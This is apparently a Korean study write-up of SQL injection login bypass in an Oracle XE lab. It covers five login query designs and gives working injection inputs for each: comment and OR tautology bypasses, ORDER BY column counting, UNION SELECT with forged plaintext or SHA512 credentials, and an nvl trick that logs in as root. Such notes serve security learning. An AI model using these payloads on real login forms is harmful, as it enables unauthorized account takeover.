SQL Injection 로그인 우회
SQL Injection 이란?
- sql 질의문을 삽입하는 공격이다. 즉 sql 질의문에 악의적인 코드를 배치하는 공격이다.
- 웹 해킹 기술중 하나이다.
목적
- 정보 유출
- 저장된 데이터 유출 및 조작
- 인증 우회
실습 환경
- DB 서버 : Rocky-8.7
- DB 버전 : oracle-database-xe-21c
members 테이블 구조
sid | id | password | info | hashpwd | |
---|---|---|---|---|---|
integer PRIMARY KEY | VARCHAR(60) | VARCHAR(60) | VARCHAR(60) | VARCHAR(60) | CHAR(128) |
- hashpwd 컬럼은 password를 해시(SHA512) 암호화를 한 것 이다.
- 실제로 유저 정보를 저장하기 위한 테이블을 구성할 때는 해시 암호화된 비밀번호만 저장해야한다.
로그인 방식에 따른 sql 인젝션 공격방식
- 식별
- 많은 데이터 중에서 특별한 데이터를 가려내는것.
- 인증
- 그 사람이 맞는지 확인하는 작업. ( 비밀번호 인증 )
1. 식별과 인증을 동시에 할 때
- 하나의
sql 질의문
으로 식별과 인증을 완료한다.
로그인방법
select * from members where id='아이디' and PASSWORD='비번'
- 아이디와 비밀번호를 동시에 일치하면 사용자 정보가 나온다. 이러한 정보가 나오면 로그인에 성공한 것이다.
- 하지만 아무 정보도 안나오면 로그인에 실패 한 것이다.
로그인 코드
- 다음 코드를 통해 인증을 한다.
var member = auth.authAndMember(id, pwd);
정상적인 로그인
공격 방법
- 주석을 이용한 인증우회(1)
입력 | |
---|---|
id | user2'-- |
pwd | ` ` |
- 서버에서 완성된 쿼리문
select * from members where id='user2'--' and PASSWORD=' '
- 주석을 이용한 인증우회(2)
입력 | |
---|---|
id | user2'/* |
pwd | */and '1'='1 |
- 서버에서 완성된 쿼리문
select * from members where id='user2'/*' and password='*/and '1'='1';
- 블럭 단위로 주석처리 하였다.
- or 이용한 인증우회
입력 | |
---|---|
id | user2' or '1'='1 |
pwd | ` ` |
- 서버에서 완성된 쿼리문
select * from members where id='user2' or '1'='1' and PASSWORD=' '
- 비교연산자 우선순위에 의해 and 연산자 부분을 먼저 계산을 하고 or 연산을 계산한다.
select * from members where (id='user2' or ('1'='1' and PASSWORD=' '))
2. 식별과 인증을 따로 할 때
로그인방법
- 유저가 입력한 id와
sql 질의문
을 통해 id 정보와 비밀번호 정보를 불러온다.select id,PASSWORD from members where id='아이디'
- 입력받은 비밀번호와 db 에서 불러온 비밀번호를 비교하여 일치하는지 확인한다.
- 일치하면 db 에서 불러온 id 정보를 통해 나머지 유저 정보도 불러온다.
select * from members where id='db에서 불러온 id정보';
로그인 코드
정상적인 로그인
union을 이용한 우회 공격 전 정확한 컬럼 수 찾기
order by
를 이용한다.user2' order by 2 --
로그인 성공user2' order by 3 --
로그인 실패- 즉 컬럼의 수가 2개인 것을 확인할 수 있다.
공격 방법
- union + 주석 사용
입력 | |
---|---|
id | x' union select 'user2','user2' from dual -- |
pwd | user2 |
- 서버에서 완성된 쿼리문
select id,PASSWORD from members where id='x' union select 'user2','user2' from dual where '1'='1'
- union + where 사용
입력 | |
---|---|
id | x' union select 'user2','user2' from dual where '1'='1 |
pwd | user2 |
- 서버에서 완성된 쿼리문
select id,PASSWORD from members where id='x' union select 'user2','user2' from dual where '1'='1'
3. 식별과 인증을 동시에 할 때(+ HASH 암호화된 비밀번호)
- 웹서버는 사용자 사용하는 비밀번호를 HASH 암호화 하여 서버에 저장한다.
로그인 방법
- 하나의
sql 질의문
으로 식별과 인증을 완료한다는 것이다.select * from members where id='입력id' and hashpwd=standard_hash('입력 pwd','SHA512');
- 웹 서버에서 pwd 를 바로 비교하는것이 아닌 SHA512 알고리즘으로 HASH 암호화한 값을 비교한다.
- 아이디와 비밀번호를 동시에 일치하면 유저 정보가 나온다. 이러한 정보가 나오면 로그인에 성공한 것이다.
- 하지만 아무 정보도 안나오면 로그인에 실패 한 것이다.
로그인 코드
정상적인 로그인
![]()
nvl 함수
- nvl 함수는 값이 null 인 경우 지정값을 출력하고 , 값이 null 아니면 그대로 출력한다.
- nvl(값, 지정값)
- ‘1’ 은 null 이 아니다. 따라서 1이 출력된다.
공격 방법
- 주석사용
입력 | |
---|---|
id | user2' -- |
pwd | ` ` |
- 서버에서 완성된 쿼리문
select id from members where id='user2' -- ' and hashpwd=standard_hash('ksdjfaklsf','SHA512')
- 주석 + or + nvl사용 (members 테이블의 가장 상위에 있는 root 로 로그인된다.)
입력 | |
---|---|
id | user2'/* |
pwd | */ or '1'=nvl('1 |
- 서버에서 완성된 쿼리문
select id from members where id='user2'/*' and hashpwd=standard_hash('*/ or '1'=nvl('1','SHA512')
- 여기서 user2 사용자가 아닌 root로 로그인 된 것을 확인할 수 있다.
- 서버에서 완성된 쿼리는 모든 사용자 정보를 불러오고 서버는 사용자 정보들 중 맨위에 존재하는 사용자의 정보를 가져와 보여준다.
-
테이블 맨위에는 root 사용자가 존재하여 root 계정으로 로그인된 것 이다.
- 주석 + and + nvl사용
입력 | |
---|---|
id | user2'/* |
pwd | */ and '1'=nvl('1 |
- 서버에서 완성된 쿼리문
select id from members where id='user2'/*' and hashpwd=standard_hash('*/ and '1'=nvl('1','SHA512')
- or 이용하기
입력 | |
---|---|
id | user2' or '1'='1 |
pwd | ` ` |
- 서버에서 완성된 쿼리문
select id from members where id='user2' or '1'='1' and hashpwd=standard_hash(' ','SHA512')
4. 식별과 인증을 따로 할 때(+ 비밀번호 SHA512 하여 table에 저장)
로그인 방법
- 유저가 입력한 id와
sql 질의문
을 통해 id 정보와 해시로 저장된 비밀번호 정보를 불러온다.select id,hashpwd from members where id='아이디'
- 유저가 입력한 비밀번호를 해시 암호화 알고리즘을 통해 암호화 한다.
- 유저가 입력한 해시화 된 비밀번호와 db에서 불러온 해시화된 비밀번호를 비교한다.
- 서로 일치하면 db 에서 불러온
id
정보를 이용하여 나머지 유저 정보도 불러온다.
코드
정상적인 로그인
![]()
정확한 컬럼 수 찾기
order by
를 이용한다.user2' order by 2 --
로그인 성공- 컬럼수가 2개라는 것을 알 수 있다.
공격방법
- union 을 이용한다.
입력 | |
---|---|
id | 2' union select 'user2', cast(standard_hash('user2','SHA512') as char(128)) from dual -- |
pwd | user2 |
- 서버에서 완성된 쿼리문
select id,hashpwd from members where id='x' union select 'user2', cast(standard_hash('user2','SHA512') as char(128)) from dual -- '
- 직접 해시 암호한 값을 넣어준다.
입력 | |
---|---|
id | 2' union select 'user2', hash('a','SHA512') from dual -- |
pwd | a |
- hash(‘a’,’SHA512’) =
1F40FC92DA241694750979EE6CF582F2D5D7D28E18335DE05ABC54D0560E0F5302860C652BF08D560252AA5E74210546F369FBBBCE8C12CFC7957B2652FE9A75
- 서버에서 완성된 쿼리문
select id,hashpwd from members where id='2' union select 'user2', '1F40FC92DA241694750979EE6CF582F2D5D7D28E18335DE05ABC54D0560E0F5302860C652BF08D560252AA5E74210546F369FBBBCE8C12CFC7957B2652FE9A75' from dual --'
- 주석 없이 하기
입력 | |
---|---|
id | 2' union select 'user2', cast(standard_hash('user2','SHA512') as char(128)) from dual where '1'='1 |
pwd | user2 |
-
서버에서 완성된 쿼리문
select id,hashpwd from members where id='2' union select 'user2', cast(standard_hash('user2','SHA512') as char(128)) from dual where '1'='1'
- standard_hash(‘user2’,’SHA512’) 로 나오는 결과와 table 에 저장된 hash 로 암호화 된 패스워드는 타입이 다르다.
- 따라서 cast 함수를 이용하여 타입을 char(128) 로 변경하였다.
5. 식별과 인증을 따로 할 때(+ id 두번 확인하기 )
로그인방법
- 유저가 입력한 id와
sql 질의문
을 통해 id 정보와 비밀번호 정보를 불러온다.select id,PASSWORD from members where id='아이디' and id='아이디'
- 여기서 id를 두번 확인한 것을 알 수 있다.
- 입력받은 비밀번호와 db 에서 불러온 비밀번호를 비교하여 일치하는지 확인한다.
- 일치하면 db 에서 불러온 id 정보를 통해 나머지 유저 정보도 불러온다.
select * from members where id='db에서 불러온 id정보';
로그인 코드
정상적인 로그인
![]()
정확한 컬럼 수 찾기
order by
를 이용한다.user2' order by 2 --
로그인 성공user2' order by 3 --
로그인 실패- 즉 컬럼의 수는 2개 라는것을 알 수 있다.
공격방법
- union + 주석 사용
입력 | |
---|---|
id | x' union select 'user2','a' from dual -- |
pwd | a |
- 서버에서 완성된 쿼리문
select id,PASSWORD from members where id='x' union select 'user2','a' from dual -- ' and id='x' union select 'user2','a' from dual -- '
특징
- id를 한번확인 하는 방법보다 2번 확인을 하면 공격자가 인증 쿼리 예측하기 힘들다.
where
문을 추가할 수 없다.
id에 다음 쿼리를 입력하여도 로그인이 안된다.
x' union select 'user2','user2' from dual where '1'='1
단방향 해시 함수
- 임이의 길이를 갖는 데이터를 고정된 길이의 데이터로 변환시켜주는 함수이다.
- 위변조 여부를 판별하거나, 무결성을 검증하는데 사용된다.
- 비밀번호를 서버에 안전하게 저장하기 위해 사용한다.
- MD5, SHA1, SHA256, SHA512 등이 있다.
SQL 차이
mysql | oracle db | |
---|---|---|
한줄 주석 | #, – | – |
부분 주석 | /**/ | /**/ |
SHA512 | SHA2(‘A’,512) | standard_hash(‘A’,’SHA512’ ) |
더미 테이블 | select ‘a’, ‘b’ | select ‘a’,’b’ from dual |
Oracle SQL 연산자 우선순위
연산자 | 설명 |
---|---|
산술연산자 | ** * , /, +, - ** |
연결연산자 | || |
비교연산자 | =, > , < , >= , <= , <> , != , ^= |
논리연사자 | BETWEEN, NOT, AND, OR |
SQL 연산자 | LIKE, NOT LIKE, IN, EXISTS |
집합 연산자 | UNION ALL, UNION, INTERSECT, MINUS |
순서 | 연산자 |
---|---|
1 | 괄호 |
2 | * , / |
3 | + , - |
4 | = , <> , < , > , <= , >= |
5 | IS (IS NULL, IS NOT NULL, IS EMPTY, IS NOT EMPTY) |
6 | BETWEEN |
7 | NOT |
8 | AND |
9 | OR |
참고 사이트
- ORACLE의 연산자 우선순위 (tistory.com)
- 오라클 - 11. 오라클의 연산자우선순위 : 네이버 블로그 (naver.com)
- Operator precedence rules (oracle.com)
- MySQL 주석 (tistory.com)
- 해시 함수는 무엇인가?
- 오라클 NVL, NVL2 함수 사용방법 (null, 공백, 치환) (tistory.com)
- 데이터 형식 변환(데이터베이스 엔진) - SQL Server
- oracle 비교 함수 (DECODE(), LEAST(), GREATEST(), NVL(), WIDTH_BUCKET() )
- php - Storing SHA-512 Hashes in MySQL - Stack Overflow
- MySQL Function 암호화 알고리즘(AES, MD5, SHA1, SHA2) (jiniworld.me)
- Oracle STANDARD_HASH 설명 : 오라클 함수 (tistory.com)
- MySQL Function암호화 알고리즘(AES, MD5, SHA1, SHA2) (jiniworld.me)
- SQL Injection 기초 - MS/ORACLE/MY SQL , 시간지연, 주석 등 (tistory.com)
- SQL 정렬하기 order by 쿼리 사용법 1, 2 desc 의미 (tistory.com)
댓글남기기